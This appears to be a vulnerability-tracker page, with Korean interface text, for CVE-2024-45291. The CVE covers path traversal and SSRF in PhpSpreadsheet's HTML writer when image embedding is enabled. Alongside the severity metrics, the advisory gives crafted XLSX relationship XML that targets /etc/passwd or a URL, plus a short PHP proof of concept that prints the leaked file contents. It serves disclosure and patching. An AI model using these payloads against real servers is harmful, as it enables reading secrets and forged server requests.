Kestrel
대시보드로 돌아가기
CVE-2024-45291MEDIUM· 6.3MITRENVDGHSA대응게시일: 2024. 10. 07.수정일: 2025. 03. 06.

PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

SSRFPath-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.3medium

이론적 심각도 점수

EPSS
0.8%상위 47.0%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.3MODERATE
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

text
1<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

text
1<Relationship Id="rId1"
2 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
3 Target="/etc/passwd" />

or

text
1<Relationship Id="rId1"
2 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
3 Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

bash
1if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
2 $picture = @file_get_contents($filename);
3 if ($picture !== false) {
4 $imageDetails = getimagesize($filename) ?: ['mime' => ''];
5 // base64 encode the binary data
6 $base64 = base64_encode($picture);
7 $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
8 }
9}
10
11$html .= '<img style="position: absolute; z-index: 1; left: '
12 . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
13 . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
14 . $imageData . '" alt="' . $filedesc . '" />';

PoC

bash
1<?php
2
3require 'vendor/autoload.php';
4
5$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
6$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
7
8$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
9$writer->setEmbedImages(true);
10$output = $writer->generateHTMLAll();
11
12// The below is just for demo purposes
13
14$pattern = '/data:;base64,(?<data>[^"]+)/i';
15
16preg_match_all($pattern, $output, $matches);
17
18print("*** /etc/passwd content: ***\n");
19print(base64_decode($matches['data'][0]));
20
21print("*** HTTP response content: ***\n");
22print(base64_decode($matches['data'][1]));

Add this file in the same directory:
book.xlsx

Run with:
php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.